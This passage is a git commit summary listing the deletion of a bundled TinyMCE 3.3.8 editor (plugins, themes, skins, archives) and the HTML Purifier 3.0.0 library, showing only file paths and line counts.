.../tiny_mce/plugins/fullpage/langs/en_dlg.js | 85 - .../plugins/fullscreen/editor_plugin.js | 1 - .../plugins/fullscreen/editor_plugin_src.js | 151 - .../plugins/fullscreen/fullscreen.htm | 109 - .../tiny_mce/plugins/iespell/editor_plugin.js | 1 - .../plugins/iespell/editor_plugin_src.js | 54 - .../plugins/inlinepopups/editor_plugin.js | 1 - .../plugins/inlinepopups/editor_plugin_src.js | 635 - .../skins/clearlooks2/img/alert.gif | Bin 818 -> 0 bytes .../skins/clearlooks2/img/button.gif | Bin 280 -> 0 bytes .../skins/clearlooks2/img/buttons.gif | Bin 1195 -> 0 bytes .../skins/clearlooks2/img/confirm.gif | Bin 915 -> 0 bytes .../skins/clearlooks2/img/corners.gif | Bin 911 -> 0 bytes .../skins/clearlooks2/img/horizontal.gif | Bin 769 -> 0 bytes .../skins/clearlooks2/img/vertical.gif | Bin 92 -> 0 bytes .../inlinepopups/skins/clearlooks2/window.css | 90 - .../plugins/inlinepopups/template.htm | 387 - .../plugins/insertdatetime/editor_plugin.js | 1 - .../insertdatetime/editor_plugin_src.js | 83 - .../tiny_mce/plugins/layer/editor_plugin.js | 1 - .../plugins/layer/editor_plugin_src.js | 212 - .../plugins/legacyoutput/editor_plugin.js | 1 - .../plugins/legacyoutput/editor_plugin_src.js | 136 - .../tiny_mce/plugins/media/css/content.css | 6 - .../tiny_mce/plugins/media/css/media.css | 16 - .../tiny_mce/plugins/media/editor_plugin.js | 1 - .../plugins/media/editor_plugin_src.js | 414 - .../tiny_mce/plugins/media/img/flash.gif | Bin 241 -> 0 bytes .../tiny_mce/plugins/media/img/flv_player.swf | Bin 11668 -> 0 bytes .../tiny_mce/plugins/media/img/quicktime.gif | Bin 303 -> 0 bytes .../tiny_mce/plugins/media/img/realmedia.gif | Bin 439 -> 0 bytes .../tiny_mce/plugins/media/img/shockwave.gif | Bin 387 -> 0 bytes .../tiny_mce/plugins/media/img/trans.gif | Bin 43 -> 0 bytes .../plugins/media/img/windowsmedia.gif | Bin 415 -> 0 bytes .../tiny_mce/plugins/media/js/embed.js | 73 - .../tiny_mce/plugins/media/js/media.js | 630 - .../tiny_mce/plugins/media/langs/en_dlg.js | 103 - .../jscripts/tiny_mce/plugins/media/media.htm | 817 - .../plugins/nonbreaking/editor_plugin.js | 1 - .../plugins/nonbreaking/editor_plugin_src.js | 53 - .../plugins/noneditable/editor_plugin.js | 1 - .../plugins/noneditable/editor_plugin_src.js | 90 - .../plugins/pagebreak/css/content.css | 1 - .../plugins/pagebreak/editor_plugin.js | 1 - .../plugins/pagebreak/editor_plugin_src.js | 77 - .../plugins/pagebreak/img/pagebreak.gif | Bin 325 -> 0 bytes .../tiny_mce/plugins/pagebreak/img/trans.gif | Bin 43 -> 0 bytes .../tiny_mce/plugins/paste/editor_plugin.js | 1 - .../plugins/paste/editor_plugin_src.js | 952 -- .../tiny_mce/plugins/paste/js/pastetext.js | 36 - .../tiny_mce/plugins/paste/js/pasteword.js | 51 - .../tiny_mce/plugins/paste/langs/en_dlg.js | 5 - .../tiny_mce/plugins/paste/pastetext.htm | 27 - .../tiny_mce/plugins/paste/pasteword.htm | 21 - .../tiny_mce/plugins/preview/editor_plugin.js | 1 - .../plugins/preview/editor_plugin_src.js | 53 - .../tiny_mce/plugins/preview/example.html | 28 - .../plugins/preview/jscripts/embed.js | 73 - .../tiny_mce/plugins/preview/preview.html | 17 - .../tiny_mce/plugins/print/editor_plugin.js | 1 - .../plugins/print/editor_plugin_src.js | 34 - .../tiny_mce/plugins/save/editor_plugin.js | 1 - .../plugins/save/editor_plugin_src.js | 101 - .../searchreplace/css/searchreplace.css | 6 - .../plugins/searchreplace/editor_plugin.js | 1 - .../searchreplace/editor_plugin_src.js | 57 - .../plugins/searchreplace/js/searchreplace.js | 130 - .../plugins/searchreplace/langs/en_dlg.js | 16 - .../plugins/searchreplace/searchreplace.htm | 99 - .../plugins/spellchecker/css/content.css | 1 - .../plugins/spellchecker/editor_plugin.js | 1 - .../plugins/spellchecker/editor_plugin_src.js | 417 - .../plugins/spellchecker/img/wline.gif | Bin 46 -> 0 bytes .../tiny_mce/plugins/style/css/props.css | 13 - .../tiny_mce/plugins/style/editor_plugin.js | 1 - .../plugins/style/editor_plugin_src.js | 55 - .../tiny_mce/plugins/style/js/props.js | 641 - .../tiny_mce/plugins/style/langs/en_dlg.js | 63 - .../jscripts/tiny_mce/plugins/style/props.htm | 723 - .../plugins/tabfocus/editor_plugin.js | 1 - .../plugins/tabfocus/editor_plugin_src.js | 112 - .../jscripts/tiny_mce/plugins/table/cell.htm | 178 - .../tiny_mce/plugins/table/css/cell.css | 17 - .../tiny_mce/plugins/table/css/row.css | 25 - .../tiny_mce/plugins/table/css/table.css | 13 - .../tiny_mce/plugins/table/editor_plugin.js | 1 - .../plugins/table/editor_plugin_src.js | 1125 -- .../tiny_mce/plugins/table/js/cell.js | 286 - .../tiny_mce/plugins/table/js/merge_cells.js | 27 - .../jscripts/tiny_mce/plugins/table/js/row.js | 237 - .../tiny_mce/plugins/table/js/table.js | 449 - .../tiny_mce/plugins/table/langs/en_dlg.js | 74 - .../tiny_mce/plugins/table/merge_cells.htm | 32 - .../jscripts/tiny_mce/plugins/table/row.htm | 155 - .../jscripts/tiny_mce/plugins/table/table.htm | 187 - .../tiny_mce/plugins/template/blank.htm | 12 - .../plugins/template/css/template.css | 23 - .../plugins/template/editor_plugin.js | 1 - .../plugins/template/editor_plugin_src.js | 159 - .../tiny_mce/plugins/template/js/template.js | 106 - .../tiny_mce/plugins/template/langs/en_dlg.js | 15 - .../tiny_mce/plugins/template/template.htm | 31 - .../plugins/visualchars/editor_plugin.js | 1 - .../plugins/visualchars/editor_plugin_src.js | 83 - .../plugins/wordcount/editor_plugin.js | 1 - .../plugins/wordcount/editor_plugin_src.js | 98 - .../tiny_mce/plugins/xhtmlxtras/abbr.htm | 141 - .../tiny_mce/plugins/xhtmlxtras/acronym.htm | 141 - .../plugins/xhtmlxtras/attributes.htm | 148 - .../tiny_mce/plugins/xhtmlxtras/cite.htm | 141 - .../plugins/xhtmlxtras/css/attributes.css | 11 - .../tiny_mce/plugins/xhtmlxtras/css/popup.css | 9 - .../tiny_mce/plugins/xhtmlxtras/del.htm | 161 - .../plugins/xhtmlxtras/editor_plugin.js | 1 - .../plugins/xhtmlxtras/editor_plugin_src.js | 132 - .../tiny_mce/plugins/xhtmlxtras/ins.htm | 161 - .../tiny_mce/plugins/xhtmlxtras/js/abbr.js | 28 - .../tiny_mce/plugins/xhtmlxtras/js/acronym.js | 28 - .../plugins/xhtmlxtras/js/attributes.js | 126 - .../tiny_mce/plugins/xhtmlxtras/js/cite.js | 28 - .../tiny_mce/plugins/xhtmlxtras/js/del.js | 63 - .../plugins/xhtmlxtras/js/element_common.js | 231 - .../tiny_mce/plugins/xhtmlxtras/js/ins.js | 62 - .../plugins/xhtmlxtras/langs/en_dlg.js | 32 - .../tiny_mce/themes/advanced/about.htm | 54 - .../tiny_mce/themes/advanced/anchor.htm | 26 - .../tiny_mce/themes/advanced/charmap.htm | 52 - .../tiny_mce/themes/advanced/color_picker.htm | 73 - .../themes/advanced/editor_template.js | 1 - .../themes/advanced/editor_template_src.js | 1217 -- .../tiny_mce/themes/advanced/image.htm | 80 - .../themes/advanced/img/colorpicker.jpg | Bin 3189 -> 0 bytes .../tiny_mce/themes/advanced/img/icons.gif | Bin 11794 -> 0 bytes .../tiny_mce/themes/advanced/js/about.js | 72 - .../tiny_mce/themes/advanced/js/anchor.js | 37 - .../tiny_mce/themes/advanced/js/charmap.js | 335 - .../themes/advanced/js/color_picker.js | 253 - .../tiny_mce/themes/advanced/js/image.js | 245 - .../tiny_mce/themes/advanced/js/link.js | 156 - .../themes/advanced/js/source_editor.js | 62 - .../tiny_mce/themes/advanced/langs/en.js | 62 - .../tiny_mce/themes/advanced/langs/en_dlg.js | 51 - .../tiny_mce/themes/advanced/link.htm | 58 - .../themes/advanced/skins/default/content.css | 36 - .../themes/advanced/skins/default/dialog.css | 117 - .../advanced/skins/default/img/buttons.png | Bin 3274 -> 0 bytes .../advanced/skins/default/img/items.gif | Bin 70 -> 0 bytes .../advanced/skins/default/img/menu_arrow.gif | Bin 68 -> 0 bytes .../advanced/skins/default/img/menu_check.gif | Bin 70 -> 0 bytes .../advanced/skins/default/img/progress.gif | Bin 1787 -> 0 bytes .../advanced/skins/default/img/tabs.gif | Bin 1326 -> 0 bytes .../themes/advanced/skins/default/ui.css | 213 - .../themes/advanced/skins/o2k7/content.css | 36 - .../themes/advanced/skins/o2k7/dialog.css | 116 - .../advanced/skins/o2k7/img/button_bg.png | Bin 5859 -> 0 bytes .../skins/o2k7/img/button_bg_black.png | Bin 3736 -> 0 bytes .../skins/o2k7/img/button_bg_silver.png | Bin 5358 -> 0 bytes .../themes/advanced/skins/o2k7/ui.css | 215 - .../themes/advanced/skins/o2k7/ui_black.css | 8 - .../themes/advanced/skins/o2k7/ui_silver.css | 5 - .../themes/advanced/skins/xxx/content.css | 36 - .../themes/advanced/skins/xxx/dialog.css | 117 - .../themes/advanced/skins/xxx/img/buttons.png | Bin 3274 -> 0 bytes .../themes/advanced/skins/xxx/img/content.css | 36 - .../themes/advanced/skins/xxx/img/dialog.css | 117 - .../themes/advanced/skins/xxx/img/items.gif | Bin 70 -> 0 bytes .../advanced/skins/xxx/img/menu_arrow.gif | Bin 68 -> 0 bytes .../advanced/skins/xxx/img/menu_check.gif | Bin 70 -> 0 bytes .../advanced/skins/xxx/img/progress.gif | Bin 1787 -> 0 bytes .../themes/advanced/skins/xxx/img/tabs.gif | Bin 1326 -> 0 bytes .../themes/advanced/skins/xxx/img/ui.css | 213 - .../tiny_mce/themes/advanced/skins/xxx/ui.css | 213 - .../themes/advanced/source_editor.htm | 25 - .../tiny_mce/themes/simple/editor_template.js | 1 - .../themes/simple/editor_template_src.js | 85 - .../tiny_mce/themes/simple/img/icons.gif | Bin 1440 -> 0 bytes .../tiny_mce/themes/simple/langs/en.js | 11 - .../themes/simple/skins/default/content.css | 25 - .../themes/simple/skins/default/ui.css | 32 - .../themes/simple/skins/o2k7/content.css | 17 - .../simple/skins/o2k7/img/button_bg.png | Bin 5102 -> 0 bytes .../tiny_mce/themes/simple/skins/o2k7/ui.css | 35 - tinymce-3.3.8/jscripts/tiny_mce/tiny_mce.js | 1 - .../jscripts/tiny_mce/tiny_mce_gzip.js | 134 - .../jscripts/tiny_mce/tiny_mce_gzip.php | 183 - .../jscripts/tiny_mce/tiny_mce_popup.js | 5 - .../jscripts/tiny_mce/tiny_mce_src.js | 14170 ---------------- .../tiny_mce/utils/editable_selects.js | 70 - .../jscripts/tiny_mce/utils/form_utils.js | 200 - .../jscripts/tiny_mce/utils/mctabs.js | 77 - .../jscripts/tiny_mce/utils/validate.js | 220 - tinymce_3_3_8.zip | Bin 708516 -> 0 bytes tinymce_4.2.8.zip | Bin 334545 -> 0 bytes 726 files changed, 89503 deletions(-) delete mode 100644 20100727-skins-xxx-3.3.8.tar.gz delete mode 100644 lib/htmlpurifier-3.0.0/CREDITS delete mode 100644 lib/htmlpurifier-3.0.0/Doxyfile delete mode 100644 lib/htmlpurifier-3.0.0/INSTALL delete mode 100644 lib/htmlpurifier-3.0.0/INSTALL.fr.utf8 delete mode 100644 lib/htmlpurifier-3.0.0/LICENSE delete mode 100644 lib/htmlpurifier-3.0.0/NEWS delete mode 100644 lib/htmlpurifier-3.0.0/README delete mode 100644 lib/htmlpurifier-3.0.0/TODO delete mode 100644 lib/htmlpurifier-3.0.0/VERSION delete mode 100644 lib/htmlpurifier-3.0.0/WHATSNEW delete mode 100644 lib/htmlpurifier-3.0.0/WYSIWYG delete mode 100644 lib/htmlpurifier-3.0.0/art/1000passes.png delete mode 100644 lib/htmlpurifier-3.0.0/art/100cases.png delete mode 100644 lib/htmlpurifier-3.0.0/art/favicon.ico delete mode 100644 lib/htmlpurifier-3.0.0/art/icon-16x16.png delete mode 100644 lib/htmlpurifier-3.0.0/art/icon-16x16.svg delete mode 100644 lib/htmlpurifier-3.0.0/art/icon-32x32.png delete mode 100644 lib/htmlpurifier-3.0.0/art/icon-32x32.svg delete mode 100644 lib/htmlpurifier-3.0.0/art/icon-64x64.png delete mode 100644 lib/htmlpurifier-3.0.0/art/logo-large.png delete mode 100644 lib/htmlpurifier-3.0.0/art/logo.png delete mode 100644 lib/htmlpurifier-3.0.0/art/logo.svg delete mode 100644 lib/htmlpurifier-3.0.0/art/powered.png delete mode 100644 lib/htmlpurifier-3.0.0/benchmarks/.htaccess delete mode 100644 lib/htmlpurifier-3.0.0/benchmarks/Lexer.php delete mode 100644 lib/htmlpurifier-3.0.0/benchmarks/Trace.php delete mode 100644 lib/htmlpurifier-3.0.0/benchmarks/samples/Lexer/1.html delete mode 100644 lib/htmlpurifier-3.0.0/benchmarks/samples/Lexer/2.html delete mode 100644 lib/htmlpurifier-3.0.0/benchmarks/samples/Lexer/3.html delete mode 100644 lib/htmlpurifier-3.0.0/benchmarks/samples/Lexer/4.html delete mode 100644 lib/htmlpurifier-3.0.0/benchmarks/samples/Lexer/DISCLAIMER.txt delete mode 100644 lib/htmlpurifier-3.0.0/configdoc/generate.php delete mode 100644 lib/htmlpurifier-3.0.0/configdoc/library/ConfigDoc.auto.php delete mode 100644 lib/htmlpurifier-3.0.0/configdoc/library/ConfigDoc.php delete mode 100644 lib/htmlpurifier-3.0.0/configdoc/library/ConfigDoc/HTMLXSLTProcessor.php delete mode 100644 lib/htmlpurifier-3.0.0/configdoc/library/ConfigDoc/XMLSerializer.php delete mode 100644 lib/htmlpurifier-3.0.0/configdoc/library/ConfigDoc/XMLSerializer/ConfigSchema.php delete mode 100644 lib/htmlpurifier-3.0.0/configdoc/library/ConfigDoc/XMLSerializer/Types.php delete mode 100644 lib/htmlpurifier-3.0.0/configdoc/styles/plain.css delete mode 100644 lib/htmlpurifier-3.0.0/configdoc/styles/plain.xsl delete mode 100644 lib/htmlpurifier-3.0.0/docs/dev-advanced-api.html delete mode 100644 lib/htmlpurifier-3.0.0/docs/dev-code-quality.txt delete mode 100644 lib/htmlpurifier-3.0.0/docs/dev-naming.html delete mode 100644 lib/htmlpurifier-3.0.0/docs/dev-optimization.html delete mode 100644 lib/htmlpurifier-3.0.0/docs/dev-progress.html delete mode 100644 lib/htmlpurifier-3.0.0/docs/dtd/xhtml1-transitional.dtd delete mode 100644 lib/htmlpurifier-3.0.0/docs/enduser-customize.html delete mode 100644 lib/htmlpurifier-3.0.0/docs/enduser-id.html delete mode 100644 lib/htmlpurifier-3.0.0/docs/enduser-overview.txt delete mode 100644 lib/htmlpurifier-3.0.0/docs/enduser-security.txt delete mode 100644 lib/htmlpurifier-3.0.0/docs/enduser-slow.html delete mode 100644 lib/htmlpurifier-3.0.0/docs/enduser-tidy.html delete mode 100644 lib/htmlpurifier-3.0.0/docs/enduser-uri-filter.html delete mode 100644 lib/htmlpurifier-3.0.0/docs/enduser-utf8.html delete mode 100644 lib/htmlpurifier-3.0.0/docs/enduser-youtube.html delete mode 100644 lib/htmlpurifier-3.0.0/docs/entities/xhtml-lat1.ent delete mode 100644 lib/htmlpurifier-3.0.0/docs/entities/xhtml-special.ent delete mode 100644 lib/htmlpurifier-3.0.0/docs/entities/xhtml-symbol.ent delete mode 100644 lib/htmlpurifier-3.0.0/docs/examples/basic.php delete mode 100644 lib/htmlpurifier-3.0.0/docs/fixquotes.htc delete mode 100644 lib/htmlpurifier-3.0.0/docs/index.html delete mode 100644 lib/htmlpurifier-3.0.0/docs/proposal-colors.html delete mode 100644 lib/htmlpurifier-3.0.0/docs/proposal-config.txt delete mode 100644 lib/htmlpurifier-3.0.0/docs/proposal-filter-levels.txt delete mode 100644 lib/htmlpurifier-3.0.0/docs/proposal-language.txt delete mode 100644 lib/htmlpurifier-3.0.0/docs/proposal-new-directives.txt delete mode 100644 lib/htmlpurifier-3.0.0/docs/ref-content-models.txt delete mode 100644 lib/htmlpurifier-3.0.0/docs/ref-css-length.txt delete mode 100644 lib/htmlpurifier-3.0.0/docs/ref-devnetwork.html delete mode 100644 lib/htmlpurifier-3.0.0/docs/ref-html-modularization.txt delete mode 100644 lib/htmlpurifier-3.0.0/docs/ref-proprietary-tags.txt delete mode 100644 lib/htmlpurifier-3.0.0/docs/ref-whatwg.txt delete mode 100644 lib/htmlpurifier-3.0.0/docs/specimens/LICENSE delete mode 100644 lib/htmlpurifier-3.0.0/docs/specimens/html-align-to-css.html delete mode 100644 lib/htmlpurifier-3.0.0/docs/specimens/img.png delete mode 100644 lib/htmlpurifier-3.0.0/docs/specimens/windows-live-mail-desktop-beta.html delete mode 100644 lib/htmlpurifier-3.0.0/docs/style.css delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier.auto.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier.func.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrCollections.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/AlphaValue.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/Background.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/BackgroundPosition.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/Border.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/Color.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/Composite.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/Filter.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/Font.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/FontFamily.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/Length.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/ListStyle.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/Multiple.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/Number.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/Percentage.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/TextDecoration.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/URI.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/Enum.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/HTML/Bool.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/HTML/Color.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/HTML/FrameTarget.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/HTML/ID.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/HTML/Length.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/HTML/LinkTypes.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/HTML/MultiLength.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/HTML/Nmtokens.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/HTML/Pixels.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/Integer.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/Lang.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/Text.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/URI.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/URI/Email.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/URI/Email/SimpleCheck.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/URI/Host.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/URI/IPv4.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/URI/IPv6.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrTransform.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrTransform/BdoDir.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrTransform/BgColor.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrTransform/BoolToCSS.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrTransform/Border.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrTransform/EnumToCSS.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrTransform/ImgRequired.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrTransform/ImgSpace.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrTransform/Lang.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrTransform/Length.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrTransform/Name.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrTypes.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrValidator.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/CSSDefinition.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/ChildDef.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/ChildDef/Chameleon.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/ChildDef/Custom.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/ChildDef/Empty.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/ChildDef/Optional.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/ChildDef/Required.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/ChildDef/StrictBlockquote.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/ChildDef/Table.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/Config.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/ConfigDef.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/ConfigDef/Directive.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/ConfigDef/DirectiveAlias.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/ConfigDef/Namespace.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/ConfigSchema.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/ContentSets.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/Context.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/Definition.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/DefinitionCache.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/DefinitionCache/Decorator.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/DefinitionCache/Decorator/Cleanup.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/DefinitionCache/Decorator/Memory.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/DefinitionCache/Decorator/Template.php.in delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/DefinitionCache/Null.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/DefinitionCache/Serializer.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/DefinitionCacheFactory.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/Doctype.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/DoctypeRegistry.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/ElementDef.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/Encoder.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/EntityLookup.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/EntityLookup/entities.ser delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/EntityParser.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/Error.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/ErrorCollector.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/Filter.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/Filter/ExtractStyleBlocks.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/Filter/YouTube.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/Generator.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLDefinition.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Bdo.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/CommonAttributes.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Edit.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Hypertext.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Image.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Legacy.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/List.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/NonXMLCommonAttributes.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Object.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Presentation.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Ruby.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Scripting.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/StyleAttribute.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Tables.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Target.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Text.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Tidy.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Tidy/Proprietary.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Tidy/XHTML.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Tidy/XHTMLAndHTML4.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/XMLCommonAttributes.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModuleManager.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/IDAccumulator.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/Injector.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/Injector/AutoParagraph.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/Injector/Linkify.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/Injector/PurifierLinkify.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/Language.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/Language/classes/en-x-test.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/Language/messages/en-x-test.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/Language/messages/en.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/LanguageFactory.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/Lexer.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/Lexer/DOMLex.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/Lexer/DirectLex.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/Lexer/PEARSax3.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/Lexer/PH5P.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/PercentEncoder.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/Printer.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/Printer/CSSDefinition.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/Printer/ConfigForm.css delete mode 100644 